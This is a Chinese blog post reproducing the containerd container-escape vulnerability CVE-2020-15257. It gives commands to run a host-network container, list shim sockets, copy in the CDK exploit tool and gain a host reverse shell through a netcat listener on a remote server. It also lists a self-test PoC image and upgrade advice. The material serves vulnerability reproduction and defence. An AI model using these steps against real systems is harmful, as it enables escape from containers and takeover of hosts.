tnblog
首页
视频
资源
登录

Docker 容器逃逸漏洞 (CVE-2020-15257)复现

5966人阅读 2020/12/29 15:48 总访问:3285553 评论:0 收藏:0 手机
分类: linux中cve

Docker远征

Docker容器逃逸漏洞(CVE-2020-15257)复现

漏洞概述

containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。

影响版本

  • containerd < 1.4.3
  • containerd < 1.3.9

环境搭建

安装有漏洞的containerd版本
这里我使用的版本是1.2.6

漏洞复现

通过 --net=host 作为启动参数来运行一个容器:

  1. docker run -it --net=host ubuntu:18.04 /bin/bash

接着在容器内执行

  1. cat /proc/net/unix|grep -a "containerd-shim"

可看到抽象命名空间Unix域套接字

Poc地址

  1. https://github.com/Xyntax/CDK/releases/tag/0.1.6

这里为了方便行事,我们下载解压直接把cdk_linux_amd64文件拷贝到容器里

  1. tar -zxvf cdk_v0.1.6_release.tar.gz
  2. docker cp cdk_linux_amd64 3e19b9e33ad0:/tmp

然后在另外一个服务器上用瑞士军刀6666端口,开启监听。

在容器中执行exp,自动搜索可用的socket并反弹宿主机的shell到远端服务器,完成逃逸

漏洞应急与自测

为了便于验证用户环境中是否存在该漏洞,我们提供了poc镜像。使用方式如下:

  1. sudo docker run -it --rm -v /:/host/ -v /var/run/docker.sock:/var/run/docker.sock --net=host dosecteam/pocs:CVE-2020-15257

修复建议

升级 containerd 至最新版本。


欢迎加群讨论技术,1群:677373950(满了,可以加,但通过不了),2群:656732739

评价

window7 Docker启动失败 error: Failed to create the VirtualBox object。VirtualBox com对象失败

docker启动失败 报错 error: Failed to create the VirtualBox object这个错是因为:virtuelbox 无法启动,所以启动之后会...

Docker启动报错 No default Boot2Docker ISO found locally downloading the latest

这是因为,启动时如果检测到没有 Boot2Docker,就会去下载,这个下载过程出现网络连接上的错误了,导致启动失败。可以去下...

Docker常用命令删除镜像命令进入容器、Docker重启命令等

1. docker version查看 Docker 版本信息2. docker info显示 Docker 系统信息,包括镜像,容器数等3. 运行容器第一次使用:d...

Docker 二次启动失败(本人这里使用的是hyper-v)

fatal: failed to start daemon: Error initializing network controller: Error creating default network: hnsCall faile...

Docker中Sware集群与service

swarm 总结:1,docker中使用swarm集群可以达到多任务分配到不同的节点进行处理,如果有空闲的docker机子将会把请求的处理...

.netCore 使用分布式缓存(Docker+redis)

1. 通过docker创建 Redis执行命令:dockerrun--nameasp-redis-p6379:6379-dredis查看redis状态:dockerps可以发现alreadywo...

.net Core3.0在Ubuntu 16.04上面的部署(Supervisor+nginx)(扩展Docker)

前 言Linux 随着Linux越来越流行,本人一个.net程序员也多次研究linux与.net的相关产品,以及中间件的使用方式。So今天给...

Docker 下载 mcr.microsoft.com/dotnet/core/sdk:3.1 老不行

请将其修改为:mcr.azk8s.cn/dotnet/core/sdk:3.1

Docker常用命令

Docker简单命令整理清单[TOC] Login 获取账户信息获取账户信息 docker info | sed &#39;/Username:/!d;s/.* //&#39; ...

windows安装Docker

win7、win8 等需要利用 docker toolbox 来安装,国内可以使用阿里云的镜像来下载,下载地址:http://mirrors.aliyun.com/do...

Linux 安装Web版Vscode(Docker+Local)

Linux 安装Web版Vscode(Docker+Local)[TOC] code-server 介绍 在任何地方的任何机器上运行VS代码,并在浏览器中访问它...

Docker运行 Elasticsearch Kibana和Cerebro

Docker运行 Elasticsearch Kibana和Cerebro[TOC] Demo 运行 Docker-compose,本地构建更高效的开发环境,更直观地了解 El...

Docker部署简单的mysql

Docker部署简单的mysql[TOC] 首先这玩意我是真不想写,网上写的太多了,但是又没有找到快速的创建方式。so…有疑问都可...

Unable to get the local Boot2Docker ISO version: Did not find prefix "-v" in version string

我已经从 github 上下载 v19.03.12 的镜像到 vps 然后拖回本地放在 C:\Users\Administrator.docker\machine\cache 下了。依...

Docker容器和镜像的区别

下面这两个比喻说得比较好 镜像就类似操作系统光盘介质,容器相当于通过光盘安装后的系统。通过光盘(镜像),我们能在不同...
这一世以无限游戏为使命!
排名
2
文章
623
粉丝
44
评论
93
docker中Sware集群与service
尘叶心繁 : 想学呀!我教你呀
一个bug让程序员走上法庭 索赔金额达400亿日元
叼着奶瓶逛酒吧 : 所以说做程序员也要懂点法律知识
.net core 塑形资源
剑轩 : 收藏收藏
映射AutoMapper
剑轩 : 好是好,这个对效率影响大不大哇,效率高不高
ASP.NET Core 服务注册生命周期
剑轩 : http://www.tnblog.net/aojiancc2/article/details/167
ICP备案 :渝ICP备18016597号-1
网站信息:2018-2025TNBLOG.NET
技术交流:群号656732739
联系我们:contact@tnblog.net
公网安备:50010702506256
欢迎加群交流技术